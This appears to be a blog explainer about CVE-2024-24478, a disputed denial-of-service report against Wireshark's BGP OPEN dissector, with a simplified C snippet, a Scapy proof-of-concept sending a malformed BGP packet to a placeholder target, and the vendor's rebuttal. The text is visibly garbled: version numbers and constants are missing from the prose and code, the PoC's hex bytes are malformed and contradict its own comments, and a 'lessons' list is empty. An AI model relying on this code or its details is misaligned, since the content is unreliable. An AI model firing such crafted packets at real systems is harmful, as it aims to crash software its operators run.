Wireshark is one of the most popular network protocol analyzers in the world. However, as with any complex software, it sometimes faces security vulnerabilities. In early 2024, a vulnerability was registered as CVE-2024-24478, potentially impacting versions of Wireshark before 4.2.. The issue is said to let a remote attacker trigger a Denial of Service (DoS) by sending a specially crafted packet exploiting the way Wireshark handles BGP (Border Gateway Protocol) OPEN messages.

What makes this bug unusual is the vendor – Wireshark’s development team – strongly disputes its existence, stating that neither version 4.2. nor any previous versions are actually vulnerable. Nevertheless, CVE-2024-24478 entered public databases and sparked curiosity in the cybersecurity world. In this article, we’ll break down what this vulnerability was alleged to be, analyze the related code, walk through a “proof-of-concept” scenario, and clarify the vendor’s explanation.

What Is CVE-2024-24478?

Summary:

Area affected: Processing of BGP packets in packet-bgp.c, specifically dissect_bgp_open()

- Alleged risk: Attacker could cause a denial of service (crash Wireshark) by sending a malformed packet

BGP, OPEN Messages, and Wireshark’s Role

BGP is a key routing protocol used to exchange routing information across the internet. When two routers want to establish a BGP session, they start with an OPEN message, which carries details like version, ASN, hold time, and several “optional parameters.”

Wireshark has a dissector (dissect_bgp_open()) that parses these OPEN messages whenever they’re seen in captured traffic. Vulnerabilities can sometimes occur if code does not properly check packet lengths or input boundaries, potentially allowing crafted packets to cause buffer overflows or infinite loops, leading to crashes.

The Disputed Vulnerability in Code

The CVE says the problem is in the handling of the optlen field (length of optional parameters) and how it’s processed in packet-bgp.c by dissect_bgp_open.

Below is a simplified version of the problematic code in the alleged vulnerable Wireshark (prior to 4.2.):

// Simplified - Not an actual complete copy of Wireshark source!
static void dissect_bgp_open(tvbuff_t *tvb, proto_tree *tree, packet_info *pinfo) {
    guint8 ver;
    guint16 myas, hold_time;
    guint32 bgp_id;
    guint8 optlen;
    int offset = ;

    ver = tvb_get_guint8(tvb, offset);
    offset += 1;
    myas = tvb_get_ntohs(tvb, offset);
    offset += 2;
    hold_time = tvb_get_ntohs(tvb, offset);
    offset += 2;
    bgp_id = tvb_get_ntohl(tvb, offset);
    offset += 4;
    optlen = tvb_get_guint8(tvb, offset);
    offset += 1;

    if (optlen > ) {
        // Dissector assumes optlen is safe, but what if it's not?
        tvb_get_ptr(tvb, offset, optlen); // Problem if optlen is too large!
        offset += optlen;
    }
    // ...rest of parsing...
}

Potential Danger:
If an attacker sends a BGP OPEN message where optlen is much larger than the actual data left in the packet, the function might read out of bounds, causing a crash or an unhandled exception – a DoS risk.

Here’s what a proof-of-concept packet might look like (using Scapy in Python syntax)

from scapy.all import *

# BGP OPEN: Version=4, MyAS=64512, HoldTime=90, BGP Identifier, OptLen set very high (e.g., 250)
bgp_open = b'\x04\xfc\x00\x00\x5a\xc\xa8\x01\x01\xfa' + (b'\x00' * 2)
# Length (incl. fixed + optlen = 10 + 250), but actual packet is much shorter!
header = b'\xff'*16 + struct.pack('!H', len(bgp_open)+19) + b'\x01'
packet = header + bgp_open

send(IP(dst='target_ip')/TCP(dport=179, flags='PA')/Raw(load=packet))

This packet claims to have 250 bytes of optional parameters but only provides 2 bytes, causing Wireshark (if vulnerable) to misread and possibly crash.

The Vendor’s Rebuttal

After reviewing the code and reported issue, the Wireshark developer team concluded that the reported vulnerability does not exist in any version, referencing safety checks elsewhere in the code that prevent out-of-bounds reads and improper memory usage. Despite the CVE being issued, they maintain that Wireshark remains unaffected.

> Reference:
> - Wireshark Security Advisory 2024-01
> - CVE entry at NVD
> - Wireshark GitLab issue tracker (if available)

Lessons Learned

The CVE-2024-24478 case is a reminder that not every CVE points to a real-world, exploitable vulnerability. It highlights:

Additional Reading

- Wireshark official downloads
- Understanding BGP (Cloudflare Learning)
- What is a CVE? (NIST)


© 2024. Exclusive deep dive for educational purposes.

Timeline

Published on: 02/21/2024 17:15:09 UTC
Last modified on: 08/01/2024 13:47:27 UTC